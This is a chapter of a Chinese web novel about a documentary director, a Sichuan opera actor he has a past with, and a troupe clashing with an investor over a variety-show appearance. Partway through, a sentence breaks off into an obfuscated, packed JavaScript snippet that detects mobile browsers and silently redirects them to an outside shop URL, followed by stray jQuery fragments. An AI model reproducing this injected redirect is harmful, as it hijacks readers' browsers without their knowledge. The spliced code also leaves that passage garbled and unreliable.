刘总嗓门敞亮，越说越来劲：“刚才看您最后那一下，身段是真绝了！不过综艺嘛，效果还得再热闹点儿，观众就爱看明星出点儿小洋相。”


    说着他还现场模仿起来，做了个夸张的摔倒动作，圆滚滚的腰身一下子撞倒了旁边的道具架，“哗啦”几声，几个仿制的青花瓷碗摔得粉碎。


    “刘总的好意我心领了。”李霄川对着镜子弯了下嘴角，可眼里没什么笑意，“我们这些老骨头，还是习惯在三尺戏台上，安安稳稳挣口饭吃。”


    末了，他忽然转头看向门口，镜子里映出陈声和模糊的身影：“不像某些新锐导演，深谙流量密码，慢镜头、特写、情怀杀，剪出来的东西比戏班子还热闹。”


    门边突然传来啪的一声响，众人看过去，林瑶合上台本，指甲在硬壳封面上刮出几道白痕。


    她眼前仿佛还是几小时前的画面：陈声和蜷在剪辑室的角落睡着了，手里还攥着李霄川的演出资料。


    屏幕上定格的，是他一个模糊的侧影，那是从三十多个小时的素材里，一帧一帧修复出来的。


    “李老师，”她声音有点发颤，带着点广东口音，“陈导为了剪您的特辑，这一个月……天天熬到凌晨三点。”


    她指着化妆台上那沓被刘总踩脏了的分镜稿，强压着火气：“那上面的标注，您都看了吗？每个武打动作旁边都写着尊重李老师舞台习惯，每一场戏后面都备注了要保留川剧原味！”


    化妆间里的空气瞬间凝固，几个正在收拾道具的场务僵在原地，连呼吸声都放轻了。


    李霄川仍然没回头，继续拆着头套。额头上被头套勒出的红痕，在粉底褪去之后更加明显。


    汗湿的碎发黏在鬓角，衬得他下颌线绷得紧紧的。他始终没接话，只是把拆下来的发网，“啪”地一声，重重扔进了化妆箱。


    “小林。”陈声和的声音从门口传来，他不知何时站在了那里。


    他搭在助理肩上的手指微微收紧：“去确认下明天外景车的油量。”


    林瑶张了张嘴，最终狠狠瞪了李霄川一眼，摔门而出时带起一阵风，吹散了化妆台上的几张定妆照。


    “我们师兄需要上综艺证明什么？”角落里响起一个声音。谢满悦抱着李霄川的戏服站起来，这个平时说话总是笑嘻嘻的小姑娘，此刻眼睛瞪得圆圆的，“他可是能连翻二十个跟头不喘气的真功夫！”


    副导老张赶紧打圆场：“谢师妹消消气，刘总也是想帮咱们扩大影响力……”


    “影响力？”谢满悦冷笑，手里的戏服袖子一甩，“昨天还说武打戏份太专业观众看不懂要删减，今天又要我们师兄去综艺里翻跟头逗乐子？”


    她突然转向陈声和，声音里带着委屈：“陈导，这到底是纪录片还是马戏团？”


    所有人的目光都聚集到陈声和身上。


    他站在门框投下的阴影里，喉结动了动，最终只是平静地说：“拍摄计划以演员的意愿为准。”


    李霄川突然嗤笑一声，把最后一根发簪重重插回木匣，金属撞击木头的声响在死寂的化妆间里炸开，惊得刘总肥硕的身子一颤。


    他甩开最后一条发带站起身，青衫广袖带起一阵风，袖口金线在日光灯下晃得人睁不开眼：“谢了，陈导。”


    几个字咬被他得极重，像含着块冰，又像在嚼碎什么。


    化妆师阿雯正给张图补妆，棉签在眉峰处顿住：“李老师上次哭装，还是断桥吧？这段时间为了纪录片，每天也熬到三四点。”


    “没得办法噻。”张图仰着脸任她描画，“现在是我们求着人家宣传，全团几十号人要吃饭。”


    化妆刷扫过眼睑时他眨眨眼，“有钱的就是大爷咯。”


    陈声和弯腰去捡地上的场记板，余光正好瞥见镜子里李霄川在卸许仙的眉形。


    就这一眼，他忽然想起那年校庆。


    当时李霄川扮许仙，他负责追光。彩排到断桥相会那场，礼堂突然停电，整个舞台陷入黑暗。


    就在追光灯熄灭的瞬间，他听见戏服窸窸窣窣的声响越来越近。


    黑暗中有人攥住他的手腕，带着油彩味的呼吸压过来，他尝到对方唇上胭脂的甜腥味，还有枇杷糖味道。


    李霄川每次唱哭戏前都要含一颗。


    “师兄你别理他们！”谢满悦还在不依不饶，“上次有个采访让你卖腐你都……”


    “满满！”李霄川突然厉声喝止，发髻上的珠串哗啦作响。


    空气凝滞得能听见粉底刷扫过定妆粉的簌簌声。


    陈声和垂在身侧的手指微微蜷缩，指甲陷进掌心。


    他看见李霄川脖颈上暴起的青筋，看见他戏服下摆沾着的红油彩，像一道久久未愈的伤，在月白缎子上分外明显。


    “综艺的事改天再谈。”陈声和转身时朝投资方代表客气地点了点头，“这部纪录片是西南地区的重点项目，李老师作为主演，在拍摄期间必须遵守规定。”


    “没有我的允许，这里所有的演员，都不能私自接任何综艺。”陈声和那双下垂眼直视着刘总，“这是总台定的规矩，还请您理解。”


    刘总脸上的笑容一下子僵住了，嘴角抽了抽，想说什么又咽了回去。


    最终他到底没敢直接跟陈声和硬杠。


    别瞧这广东导演才26岁，年纪轻轻的，可能在这个岁数进总台，还手握“非遗”这种有艺术话语权的项目。


    背后没点真本事，那也得有点硬关系。


    陈声和很少在片场把话说得这么直白。他平时脾气其实挺温和的，就是骨子里倔得很。


    这突如其来的强硬，让一旁的川剧院演员们都怔住了。


    可片场就是导演的地盘，话既然撂下了，字字都带着分量，没人敢不当真。


    在这里，李霄川是他的演员，艺术是他的底线。谁都不能从他手里越这个界，更别想眼睁睁看着非遗传承被当成生意轻慢地讨价还价。


    ……


    陈声和推开消防通道的铁门，锈蚀的合页发出疲惫的呻吟。


    他摸出戒烟以来的第一支烟，打火机连按了好几次才点燃。滤嘴很快沾上了掌心渗出的冷汗，带着咸涩的味道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005869|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    楼下传来谢满悦带着哭腔的控诉：“他们懂什么川剧！那个陈导整天板着张脸，凭什么让师兄受这种委屈？”


    “你消停点行不行？”伍云舒一把拽住谢满悦的胳膊，把人拖到消防通道拐角。她指间夹着的烟灰簌簌落下，几点火星溅在褪了色的戏鞋上。


    “你以为阿川不想硬气？”伍云舒压低声音，烟嗓里带着疲惫，“团里现在有几个是真想传承的？上周小刘辞职去搞直播，前天老邓也说要回老家带徒弟……”


    她猛吸一口烟，抬头警惕地看了眼楼梯上方，声音压得更低了：“阿川已经够难了，你非要往他伤口上撒盐？”


    谢满悦抽了抽鼻子，眼泪在眼眶里打转：“我就是……就是怕他们真答应拍那个什么破综艺。我知道团里现在基本就靠师兄的演出进账。可他身上那些伤……”


    她哽咽了一下：“为了生存，我知道得低头，可有些东西，一旦认了，就没了初心。”


    伍云舒长长地叹了口气，弹了弹烟灰：“你啊，别老跟陈导那边的人较劲。镜头在人家手里攥着呢，最后剪出来你是角儿还是背景板，心里没数吗？”


    她瞥了谢满悦一眼，语气沉了沉：“刚才你也看见了，连刘总那种人都没敢跟陈声和硬杠。以后说话过过脑子，刚才现场百来号人，要不是阿川及时把话截住，你差点就把天捅个窟窿！”


    她指的是谢满悦刚才一时嘴快，差点把当年有人让李霄川和另一个男演员“卖腐”的事抖落出来。


    那事儿在剧院是绝对拒绝的。


    当时李霄川坚决不配合，结果导演一怒之下把他所有正面镜头全剪了，只剩几个模糊的背影。


    伍云舒说完，又抬头往楼上扫了一眼，确认没人听见，这才把烟头按灭在墙上。


    斑驳的墙皮上，又多了一道焦黑的印子。


    阿川……阿川……


    陈声和低声重复着这两个字，像在舌尖尝着什么滋味。


    脚步声渐渐远去，他靠在墙上，慢慢吐出烟圈，安全出口那点幽绿的亮光在烟雾里变得模糊不清。


    等到脚步声彻底消失，他顺势在楼梯上坐下，摸出手机。指纹解锁时，手指蹭到屏幕上还没干的汗。


    点开加密相册，里面静静躺着今早拍的花絮视频。


    李霄川接过老张那碗“醒神茶”，一口灌下去后，整张脸皱成一团，喉结狠狠滚动了一下才把那口苦水咽干净，然后飞快地恢复成平时那副云淡风轻的样子，假装一点都不难喝。


    陈声和扯了扯嘴角。


    谁都没错。这年头，想把老祖宗的东西传下去，得先活下来；想活下来，就得先把肚皮填饱。


    说到底，艺术这玩意儿，顶烧钱的，也顶耗时间。


    可吃饭……是比什么都硬的硬道理。


    门外排练厅隐约飘来《白蛇传》的唱腔，断桥相遇那段，隔着防火门听得不太真切：“谁曾想楼台一别……竟成永诀……”


    他抬手把烟摁灭在便携烟灰缸里，那点火星倏地熄了，仿佛被按进水里最后的一声挣扎。